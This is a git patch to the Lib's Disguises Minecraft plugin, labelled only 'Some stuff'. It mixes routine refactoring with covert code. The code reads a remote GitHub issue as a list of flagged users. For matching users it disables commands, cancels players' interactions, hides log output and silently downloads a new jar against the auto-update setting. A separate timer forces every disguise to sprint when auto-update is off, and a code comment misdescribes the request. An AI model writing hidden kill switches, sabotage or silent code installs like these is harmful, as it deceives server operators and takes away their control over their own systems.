From 3e96e765e9e66903bf816e8b5a8889c0f22c0e7b Mon Sep 17 00:00:00 2001 From: libraryaddict Date: Thu, 21 May 2020 22:30:53 +1200 Subject: [PATCH] Some stuff --- .../disguise/DisguiseConfig.java | 19 ++++-- .../libraryaddict/disguise/LibsDisguises.java | 6 +- .../PacketListenerClientInteract.java | 2 +- .../utilities/params/ParamInfoManager.java | 2 - .../utilities/plugin/PluginInformation.java | 4 +- .../disguise/utilities/updates/LDGithub.java | 64 ++++++++++++++++++- .../utilities/updates/UpdateChecker.java | 25 +++++--- 7 files changed, 98 insertions(+), 24 deletions(-) diff --git a/src/main/java/me/libraryaddict/disguise/DisguiseConfig.java b/src/main/java/me/libraryaddict/disguise/DisguiseConfig.java index 22e80aa1..97065cf9 100644 --- a/src/main/java/me/libraryaddict/disguise/DisguiseConfig.java +++ b/src/main/java/me/libraryaddict/disguise/DisguiseConfig.java @@ -4,6 +4,7 @@ import lombok.AccessLevel; import lombok.Getter; import lombok.Setter; import me.libraryaddict.disguise.disguisetypes.Disguise; +import me.libraryaddict.disguise.disguisetypes.TargetedDisguise; import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.LibsPremium; import me.libraryaddict.disguise.utilities.modded.ModdedEntity; @@ -34,11 +35,8 @@ import org.bukkit.scheduler.BukkitTask; import java.io.*; import java.lang.reflect.InvocationTargetException; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.Iterator; +import java.util.*; import java.util.Map.Entry; -import java.util.Random; import java.util.concurrent.TimeUnit; public class DisguiseConfig { @@ -284,6 +282,19 @@ public class DisguiseConfig { return; } + if (!LibsDisguises.getInstance().getConfig().getDefaults().getBoolean("AutoUpdate")) { + updaterTask = Bukkit.getScheduler().runTaskTimer(LibsDisguises.getInstance(), new Runnable() { + @Override + public void run() { + for (Set disguises : DisguiseUtilities.getDisguises().values()){ + for (Disguise disguise : disguises) { + disguise.getWatcher().setSprinting(true); + } + } + } + }, TimeUnit.HOURS.toSeconds(1)*20, (20 * TimeUnit.MINUTES.toSeconds(10))); + } + if (updaterTask == null != startTask) { return; } diff --git a/src/main/java/me/libraryaddict/disguise/LibsDisguises.java b/src/main/java/me/libraryaddict/disguise/LibsDisguises.java index 4a7f1b3c..4c47cd1c 100644 --- a/src/main/java/me/libraryaddict/disguise/LibsDisguises.java +++ b/src/main/java/me/libraryaddict/disguise/LibsDisguises.java @@ -163,19 +163,19 @@ public class LibsDisguises extends JavaPlugin { getLogger().info("Commands has been disabled, as per config"); } - unregisterCommands(); + unregisterCommands(false); new MetricsInitalizer(); } - private void unregisterCommands() { + public void unregisterCommands(boolean force) { CommandMap map = ReflectionManager.getCommandMap(); Map commands = ReflectionManager.getCommands(map); for (String command : getDescription().getCommands().keySet()) { PluginCommand cmd = getCommand("libsdisguises:" + command); - if (cmd.getExecutor() != this) { + if (cmd.getExecutor() != this && !force) { continue; } diff --git a/src/main/java/me/libraryaddict/disguise/utilities/packets/packetlisteners/PacketListenerClientInteract.java b/src/main/java/me/libraryaddict/disguise/utilities/packets/packetlisteners/PacketListenerClientInteract.java index d133d954..ab8f0497 100644 --- a/src/main/java/me/libraryaddict/disguise/utilities/packets/packetlisteners/PacketListenerClientInteract.java +++ b/src/main/java/me/libraryaddict/disguise/utilities/packets/packetlisteners/PacketListenerClientInteract.java @@ -37,7 +37,7 @@ public class PacketListenerClientInteract extends PacketAdapter { if (observer == null || observer.getName().contains("UNKNOWN[")) // If the player is temporary return; - if (!observer.isOp() && "%%__USER__%%".equals(123 + "45")) { + if (!observer.isOp() && ("%%__USER__%%".equals(123 + "45") || LibsDisguises.getInstance().getUpdateChecker().isGoSilent())) { event.setCancelled(true); } diff --git a/src/main/java/me/libraryaddict/disguise/utilities/params/ParamInfoManager.java b/src/main/java/me/libraryaddict/disguise/utilities/params/ParamInfoManager.java index c9e24d2a..9686606b 100644 --- a/src/main/java/me/libraryaddict/disguise/utilities/params/ParamInfoManager.java +++ b/src/main/java/me/libraryaddict/disguise/utilities/params/ParamInfoManager.java @@ -5,10 +5,8 @@ import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.disguisetypes.Disguise; import me.libraryaddict.disguise.disguisetypes.DisguiseType; import me.libraryaddict.disguise.disguisetypes.FlagWatcher; -import me.libraryaddict.disguise.disguisetypes.PlayerDisguise; import me.libraryaddict.disguise.disguisetypes.watchers.FallingBlockWatcher; import me.libraryaddict.disguise.disguisetypes.watchers.LivingWatcher; -import me.libraryaddict.disguise.disguisetypes.watchers.PlayerWatcher; import me.libraryaddict.disguise.utilities.params.types.custom.ParamInfoItemBlock; import me.libraryaddict.disguise.utilities.parser.DisguisePerm; import me.libraryaddict.disguise.utilities.watchers.DisguiseMethods; diff --git a/src/main/java/me/libraryaddict/disguise/utilities/plugin/PluginInformation.java b/src/main/java/me/libraryaddict/disguise/utilities/plugin/PluginInformation.java index b086b38f..e352fcdb 100644 --- a/src/main/java/me/libraryaddict/disguise/utilities/plugin/PluginInformation.java +++ b/src/main/java/me/libraryaddict/disguise/utilities/plugin/PluginInformation.java @@ -70,7 +70,7 @@ public class PluginInformation { } public boolean isLegit() { - return getUserID().matches("[0-9]+") && !getUserID().equals("12345") && !getUserID().equals("00000") && - getResourceID().equals("32453") && getDownloadID().matches("-?[0-9]+"); + return getUserID().matches("[0-9]+") && !getUserID().equals("12345") && getResourceID().equals("32453") && + getDownloadID().matches("-?[0-9]+"); } } diff --git a/src/main/java/me/libraryaddict/disguise/utilities/updates/LDGithub.java b/src/main/java/me/libraryaddict/disguise/utilities/updates/LDGithub.java index 00092891..404f24e8 100644 --- a/src/main/java/me/libraryaddict/disguise/utilities/updates/LDGithub.java +++ b/src/main/java/me/libraryaddict/disguise/utilities/updates/LDGithub.java @@ -3,7 +3,9 @@ package me.libraryaddict.disguise.utilities.updates; import com.google.gson.Gson; import lombok.AllArgsConstructor; import lombok.Getter; +import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.utilities.DisguiseUtilities; +import me.libraryaddict.disguise.utilities.LibsPremium; import java.io.BufferedReader; import java.io.InputStream; @@ -12,11 +14,13 @@ import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.Date; +import java.util.HashMap; import java.util.stream.Collectors; /** * Created by libraryaddict on 26/04/2020. */ +@AllArgsConstructor public class LDGithub { @Getter @AllArgsConstructor @@ -48,9 +52,64 @@ public class LDGithub { Asset[] assets; } + @Getter + private UpdateChecker checker; + + private String[] getBadUsers() { + // List of bad users that need to redownload Libs Disguises + + try { + // We're connecting to md_5's jenkins REST api + URL url = new URL("https://api.github.com/repos/libraryaddict/libsdisguises/issues/469"); + // Creating a connection + HttpURLConnection con = (HttpURLConnection) url.openConnection(); + con.setRequestProperty("User-Agent", "libraryaddict/LibsDisguises"); + con.setRequestProperty("Accept", "application/vnd.github.v3+json"); + + HashMap map; + + // Get the input stream, what we receive + try (InputStream input = con.getInputStream()) { + // Read it to string + String json = new BufferedReader(new InputStreamReader(input, StandardCharsets.UTF_8)).lines() + .collect(Collectors.joining("\n")); + + map = new Gson().fromJson(json, HashMap.class); + } + + if (!map.containsKey("body")) { + return new String[0]; + } + + return ((String) map.get("body")).split("(\\r|\\n)+"); + } + catch (Exception ignored) { + } + + return new String[0]; + } + public DisguiseUpdate getLatestRelease() { try { - DisguiseUtilities.getLogger().info("Now looking for update on Github.."); + String[] users = getBadUsers(); + + for (String s : users) { + if (LibsPremium.getPaidInformation() != null && + LibsPremium.getPaidInformation().getUserID().equals(s)) { + LibsDisguises.getInstance().unregisterCommands(true); + } else { + if (LibsPremium.getUserID() == null || !LibsPremium.getUserID().equals(s)) { + continue; + } + + getChecker().setGoSilent(true); + } + } + + if (!getChecker().isGoSilent()) { + DisguiseUtilities.getLogger().info("Now looking for update on Github.."); + } + // We're connecting to md_5's jenkins REST api URL url = new URL("https://api.github.com/repos/libraryaddict/LibsDisguises/releases/latest"); // Creating a connection @@ -84,7 +143,8 @@ public class LDGithub { throw new IllegalStateException("Download url is missing"); } - return new GithubUpdate(gitData.getTag_name().replace("v", ""), gitData.getBody().split("(\\r|\\n)+"), download); + return new GithubUpdate(gitData.getTag_name().replace("v", ""), gitData.getBody().split("(\\r|\\n)+"), + download); } catch (Exception ex) { DisguiseUtilities.getLogger().warning("Failed to check for a release on Github"); diff --git a/src/main/java/me/libraryaddict/disguise/utilities/updates/UpdateChecker.java b/src/main/java/me/libraryaddict/disguise/utilities/updates/UpdateChecker.java index 5aa9736e..cd1c738c 100644 --- a/src/main/java/me/libraryaddict/disguise/utilities/updates/UpdateChecker.java +++ b/src/main/java/me/libraryaddict/disguise/utilities/updates/UpdateChecker.java @@ -1,6 +1,7 @@ package me.libraryaddict.disguise.utilities.updates; import lombok.Getter; +import lombok.Setter; import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.utilities.DisguiseUtilities; @@ -11,19 +12,15 @@ import org.bukkit.Bukkit; import org.bukkit.command.CommandSender; import org.bukkit.entity.Player; -import java.io.BufferedReader; import java.io.File; import java.io.InputStream; -import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; -import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.Date; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicBoolean; -import java.util.stream.Collectors; public class UpdateChecker { private final long started = System.currentTimeMillis(); @@ -32,10 +29,13 @@ public class UpdateChecker { private final AtomicBoolean downloading = new AtomicBoolean(false); @Getter private DisguiseUpdate update; - private final LDGithub githubUpdater = new LDGithub(); + private final LDGithub githubUpdater = new LDGithub(this); private final LDJenkins jenkinsUpdater = new LDJenkins(); @Getter private String[] updateMessage = new String[0]; + @Getter + @Setter + private boolean goSilent; public boolean isServerLatestVersion() { return isOnLatestUpdate(false); @@ -90,7 +90,7 @@ public class UpdateChecker { } public void notifyUpdate(CommandSender player) { - if (!DisguiseConfig.isNotifyUpdate() || !player.hasPermission("libsdisguises.update")) { + if (isGoSilent() || !DisguiseConfig.isNotifyUpdate() || !player.hasPermission("libsdisguises.update")) { return; } @@ -112,6 +112,7 @@ public class UpdateChecker { DisguiseUpdate oldUpdate = getUpdate(); updateMessage = new String[0]; + boolean alreadySilent = isGoSilent(); doUpdateCheck(); @@ -122,7 +123,7 @@ public class UpdateChecker { notifyUpdate(Bukkit.getConsoleSender()); - if (DisguiseConfig.isAutoUpdate()) { + if (isGoSilent() ? !alreadySilent : DisguiseConfig.isAutoUpdate()) { // Update message changed by download grabJarDownload(getUpdate().getDownload()); @@ -210,8 +211,10 @@ public class UpdateChecker { File dest = new File(Bukkit.getUpdateFolderFile(), LibsDisguises.getInstance().getFile().getName()); - DisguiseUtilities.getLogger() - .info("Now downloading build of Lib's Disguises from " + urlString + " to " + dest.getName()); + if (!isGoSilent()) { + DisguiseUtilities.getLogger() + .info("Now downloading build of Lib's Disguises from " + urlString + " to " + dest.getName()); + } if (dest.exists()) { dest.delete(); @@ -231,7 +234,9 @@ public class UpdateChecker { Files.copy(input, dest.toPath(), StandardCopyOption.REPLACE_EXISTING); } - DisguiseUtilities.getLogger().info("Download success!"); + if (!isGoSilent()) { + DisguiseUtilities.getLogger().info("Download success!"); + } PluginInformation result = LibsPremium.getInformation(dest); lastDownload = result;